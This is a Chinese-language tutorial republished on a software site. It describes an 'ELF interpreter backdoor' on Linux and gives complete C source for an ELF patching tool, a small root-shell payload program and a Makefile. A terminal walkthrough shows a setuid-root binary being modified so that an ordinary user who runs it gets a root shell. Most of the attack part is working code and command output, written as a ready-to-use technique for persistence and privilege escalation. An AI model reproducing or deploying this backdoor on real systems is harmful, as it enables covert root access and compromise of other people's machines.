|
|
elf-write工具写interpreter后门 |
|
|
作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站 |
ABfrag.bin 木马破解 *nix逆向工程,elf加密,病毒资料专题
后门技术 hide module - old 隐藏2.6内核模块 say bye 2 ur printk injectso source module_auto_unload, anti-forensic part 1 用elf-write工具写interpreter后门 (elf interpreter segment backdoor)
后门发现技术 Finding hidden kernel modules on linux finding hidden modules on 2.6 kernel_module_hunter find socket - extreme way
unix/linux 病毒技术研究 gei - ELF Infector v0.0.1
所谓的interpreter后门就是通过更改elf文件的interpreter segment来进行后门代码触发执行的一种方法。 在下面我给出了这种技术的一个示范,同时给出了一个修改elf文件的程序(目前只有两个小功能)作为辅助工具。 总的来说这种技术难度不高,但是其有一些自己的特点,这些特点我在下面的示例中没有进行描述,但是你可以 通过自己的思考去发掘;P
1. 将我在后面提供的程序编译,得到一个小工具gew和一个示例程序foo ----------------------------------- grip2@linux:~/tmp/elf-write> ls . .. foo.c g-elf-write.c Makefile grip2@linux:~/tmp/elf-write> make gcc foo.c -o foo -static gcc -O2 g-elf-write.c -o gew -Wall grip2@linux:~/tmp/elf-write> ls . .. foo foo.c g-elf-write.c gew Makefile grip2@linux:~/tmp/elf-write> ls gew foo -l -rwxr-xr-x 1 grip2 users 2201192 2004-11-24 05:52 foo -rwxr-xr-x 1 grip2 users 11755 2004-11-24 05:52 gew
2. 选择一个用来弹出interpreter的setuid程序(如果不放心,你可以先做备份) ----------------------------------- linux:~/tmp/elf-write # find / -perm -4000 -print ... /usr/bin/chsh /usr/bin/expiry /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/passwd /usr/bin/gpg /usr/bin/at /bin/eject /bin/ping /bin/ping6 /bin/su /bin/mount /bin/umount ...
linux:~/tmp/elf-write # ls -l /bin/eject -rwsr-xr-x 1 root audio 22630 2004-04-06 09:19 /bin/eject
3使用gew工具修改选中的setuid程序的interpreter,使其指向我们的foo程序 ----------------------------------- linux:~/tmp/elf-write # ./gew uid: 0 euid 0 gew - ELF write v0.0.1 written by grip2 <[email protected]> Usage: ./gew [-i new_interp][-e new_entry] elf-file
linux:~/tmp/elf-write # ./gew -i /home/grip2/tmp/elf-write/foo /bin/eject uid: 0 euid 0 Better luck next file :-P <-- 这里说明我们指定的新interpreter路径超长了 (因为如果新的interpreter的长度超过现有的段长度,要 使其生效,就要调整目标文件的大小,而这是我们不愿看到 的,因此做了限制)
linux:~/tmp/elf-write # ./gew -i /home/grip2/foo /bin/eject uid: 0 euid 0 linux:~/tmp/elf-write # strings /bin/eject|grep foo /home/grip2/foo <-- OK,这次成功了
4 将foo复制到我们在上面给的新interpreter路径 ----------------------------------- linux:~/tmp/elf-write # su - grip2 grip2@linux:~> id uid=716(grip2) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users) grip2@linux:~> pwd /home/grip2 grip2@linux:~> cp tmp/elf-write/foo . grip2@linux:~> ll foo -rwxr-xr-x 1 grip2 users 2201192 2004-11-24 06:04 foo
5 以普通用户的身份运行我们修改的setuid程序,这里是eject,看看效果。 ----------------------------------- grip2@linux:~> eject sh-2.05b# pwd /home/grip2 sh-2.05b# id <-- 我们已经是root了 uid=0(root) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users) sh-2.05b# exit grip2@linux:~>
附注:有些情况你可能需要对你的foo进行一些处理,需要重新指定做为interpreter的foo的程序 入口点,这时你可以使用gew的第二个功能(如果你现在没遇到这种情况,就不需要看这里的内容了) -----------------------------------
grip2@linux:~> objdump -D foo|grep main 804815c: e8 1f 01 00 00 call 8048280 <__libc_start_main> ... 08048244 <main>: ... 08048280 <__libc_start_main>: 804829f: 74 0f je 80482b0 <__libc_start_main+0x30> 80482d7: 75 f7 jne 80482d0 <__libc_start_main+0x50> 80482e7: 0f 85 bd 00 00 00 jne 80483aa <__libc_start_main+0x12a> 8048306: 0f 85 33 01 00 00 jne 804843f <__libc_start_main+0x1bf> 804832b: 77 5f ja 804838c <__libc_start_main+0x10c> 8048346: 77 28 ja 8048370 <__libc_start_main+0xf0> 804836e: 76 e0 jbe 8048350 <__libc_start_main+0xd0> 804837a: 75 0b jne 8048387 <__libc_start_main+0x107> 8048385: 76 a9 jbe 8048330 <__libc_start_main+0xb0> 804838a: 7f 0c jg 8048398 <__libc_start_main+0x118> 804839e: 0f 86 0d 01 00 00 jbe 80484b1 <__libc_start_main+0x231> 80483b4: 74 17 je 80483cd <__libc_start_main+0x14d> 80483ed: 74 17 je 8048406 <__libc_start_main+0x186> 804840e: 0f 85 93 00 00 00 jne 80484a7 <__libc_start_main+0x227> 8048419: 74 03 je 804841e <__libc_start_main+0x19e> 8048456: 74 21 je 8048479 <__libc_start_main+0x1f9> 8048477: 7f 0c jg 8048485 <__libc_start_main+0x205> 80484a2: e9 71 fe ff ff jmp 8048318 <__libc_start_main+0x98> 80484ac: e9 63 ff ff ff jmp 8048414 <__libc_start_main+0x194> 80484b8: eb c6 jmp 8048480 <__libc_start_main+0x200> 80502f3: e8 c8 0f 00 00 call 80512c0 <_nl_load_domain> 80504ae: e8 ad 0a 00 00 call 8050f60 <_nl_free_domain_conv> 80504bb: e8 70 0b 00 00 call 8051030 <_nl_init_domain_conv> 8050b2f: e8 0c 02 00 00 call 8050d40 <_nl_find_domain> ... ... 080a30a8 <_dl_main_searchlist>: 080a3100 <_nl_current_default_domain>: 080a53e0 <main_arena>: 080a5904 <_nl_loaded_domains>: 080a5d20 <_nl_domain_bindings>:
grip2@linux:~> ./gew -e 0x08048244 foo uid: 716 euid 716
grip2@linux:~> readelf -l foo
Elf file type is EXEC (Executable file) Entry point 0x8048244 There are 5 program headers, starting at offset 52
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0x5aa78 0x5aa78 R E 0x1000 LOAD 0x05b000 0x080a3000 0x080a3000 0x01b7c 0x02e40 RW 0x1000 NOTE 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4 NOTE 0x0000f4 0x080480f4 0x080480f4 0x00018 0x00018 R 0x4 STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Section to Segment mapping: Segment Sections... 00 .init .text __libc_freeres_fn .fini .rodata __libc_subfreeres .gnu.linkonce.ro.__strtol_ul_rem_tab .gnu.linkonce.ro.__strtol_ul_max_tab __libc_atexit .gnu.linkonce.ro.__strtol_ull_rem_tab .gnu.linkonce.ro.__strtol_ull_max_tab .note.ABI-tag .note.SuSE 01 .data .eh_frame .ctors .dtors .jcr .got .bss __libc_freeres_ptrs 02 .note.ABI-tag 03 .note.SuSE 04
/* * gew - ELF write v0.0.1 * written by grip2 <[email protected]> */
#include <elf.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/mman.h> #include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h>
void usage(char *argv[]) { fprintf(stderr, "gew - ELF write v0.0.1 written by grip2 <[email protected]>\n"); fprintf(stderr, "Usage: %s [-i new_interp]" "[-e new_entry] elf-file\n", argv[0]); exit(1); }
int main(int argc, char *argv[]) { int fd = -1; Elf32_Ehdr *ehdr = NULL; Elf32_Phdr *phdr; Elf32_Shdr *shdr; int i; struct stat stat;
int ch; char *pchar; char opt_read = 1, opt_entry = 0, opt_interp = 0; char filename[64]; char new_interp[256]; unsigned long new_entry = 0;
int euid = geteuid(); setuid(getuid()); setuid(euid); printf("uid: %d euid %d\n", getuid(), geteuid()); while ((ch = getopt(argc, argv, "e:i:")) != -1) { /* get option */ switch (ch) { case 'e': new_entry = strtoul(optarg, &pchar, 16); if (*pchar != '\0') usage(argv); opt_entry = 1; opt_read = 0; break; case 'i': new_interp[sizeof(new_interp)-1] = 0; strncpy(new_interp, optarg, sizeof(new_interp)); if (new_interp[sizeof(new_interp)-1] != 0) usage(argv); opt_interp = 1; opt_read = 0; break; case '?': default: break; } }
if (argv[optind] == NULL) usage(argv); strcpy(filename, argv[optind]);
fd = open(filename, O_RDWR); if (fd == -1) { perror(argv[1]); goto err; }
if (fstat(fd, &stat) == -1) { perror("fstat"); goto err; }
ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0); if (ehdr == MAP_FAILED) { perror("mmap ehdr"); goto err; } /* Check ELF magic-ident */ if (ehdr->e_ident[EI_MAG0] != 0x7f || ehdr->e_ident[EI_MAG1] != 'E' || ehdr->e_ident[EI_MAG2] != 'L' || ehdr->e_ident[EI_MAG3] != 'F' || ehdr->e_ident[EI_CLASS] != ELFCLASS32 || ehdr->e_ident[EI_DATA] != ELFDATA2LSB || ehdr->e_ident[EI_VERSION] != EV_CURRENT || ehdr->e_type != ET_EXEC || ehdr->e_machine != EM_386 || ehdr->e_version != EV_CURRENT ) { fprintf(stderr, "File type not supported\n"); goto err; }
phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff); shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
i = 0; if (opt_read || opt_interp) while (1) { if (i == ehdr->e_phnum) { fprintf(stderr, "Interpreter not found.\n"); if (opt_read) break; goto err; } if (phdr[i].p_type != PT_INTERP) { i++; continue; }
if (opt_interp) { if (phdr[i].p_filesz <= strlen(new_interp)) { fprintf(stderr, "Better luck next file :-P\n"); goto err; } strncpy((void *) ehdr + phdr[i].p_offset, new_interp, phdr[i].p_filesz); } else if (opt_read) { printf("current interpreter: %s\n", (char *) ehdr + phdr[i].p_offset); }
break; }
if (opt_entry) ehdr->e_entry = new_entry; else if (opt_read) printf("current entry: %p\n", (void *) ehdr->e_entry);
munmap(ehdr, stat.st_size); close(fd); return 0; err: if (ehdr) munmap(ehdr, stat.st_size); if (fd != -1) close(fd); return 1; }
foo.c
int main() { setuid(0); system("/bin/sh"); return 0; }
Makefile
all: foo gew gew: g-elf-write.c gcc -O2 $< -o $@ -Wall foo: foo.c gcc $< -o $@ -static clean: rm *.o -rf rm foo -rf rm gew -rf
|
|
相关文章:相关软件: |
|